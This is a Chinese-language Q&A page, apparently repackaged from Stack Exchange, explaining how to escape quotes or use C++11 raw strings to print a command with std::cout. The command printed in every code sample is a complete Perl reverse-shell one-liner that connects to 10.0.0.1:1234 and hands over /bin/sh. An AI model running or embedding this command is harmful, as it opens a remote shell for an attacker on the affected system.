You need to enable JavaScript to run this app.
优惠活动
大模型
产品
解决方案
定价
更多

如何用C++ std::cout正确打印含特殊字符的Perl反弹shell单行命令

问题原因

你遇到的编译报错核心是C++双引号包裹的普通字符串中,双引号是特殊字符,编译器会把字符串中间的"识别为字符串结束标记,后续的10.0.0.1就会被当作非法的数字常量解析,因此抛出too many decimal points in number等连锁错误。

解决方法

方法1:手动转义所有内部双引号

给字符串内所有的双引号前加反斜杠\进行转义,告诉编译器这个双引号是字符串内容的一部分,不是结束标记:

#include <iostream>
#include <string>

int main() {
    std::string perl {"perl -e 'use Socket;$i=\"10.0.0.1\";$p=1234;socket(S,PF_INET,SOCK_STREAM,getprotobyname(\"tcp\"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,\">&S\");open(STDOUT,\">&S\");open(STDERR,\">&S\");exec(\"/bin/sh -i\");};'"};
    std::cout << perl << std::endl;

    // 直接通过cout打印的写法同理
    std::cout << "perl -e 'use Socket;$i=\"10.0.0.1\";$p=1234;socket(S,PF_INET,SOCK_STREAM,getprotobyname(\"tcp\"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,\">&S\");open(STDOUT,\">&S\");open(STDERR,\">&S\");exec(\"/bin/sh -i\");};'" << std::endl;
    return 0;
}

方法2:使用C++11原始字符串字面量(更便捷)

如果你的编译器支持C++11及以上标准,可以用R"()"包裹字符串内容,包裹的内容会原样输出,不需要对任何特殊字符转义:

#include <iostream>
#include <string>

int main() {
    std::string perl {R"(perl -e 'use Socket;$i="10.0.0.1";$p=1234;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};')"};
    std::cout << perl << std::endl;
    return 0;
}

使用该方法编译时如果默认C标准低于C11,需要添加编译参数指定标准,例如:
g++ test.cpp -o test -std=c++11

内容的提问来源于stack exchange,提问作者apt1337

相关产品推荐
方舟 Agent Plan

超全模态模型 × Harness 升级,最新支持 Deepseek-V4.1-Flash、GLM-5.3 系列、Doubao-Seedream-5.0-pro、Kimi-K3 (部分), 限时 9.9 元起

最近更新时间:2026.09.30 23:33:00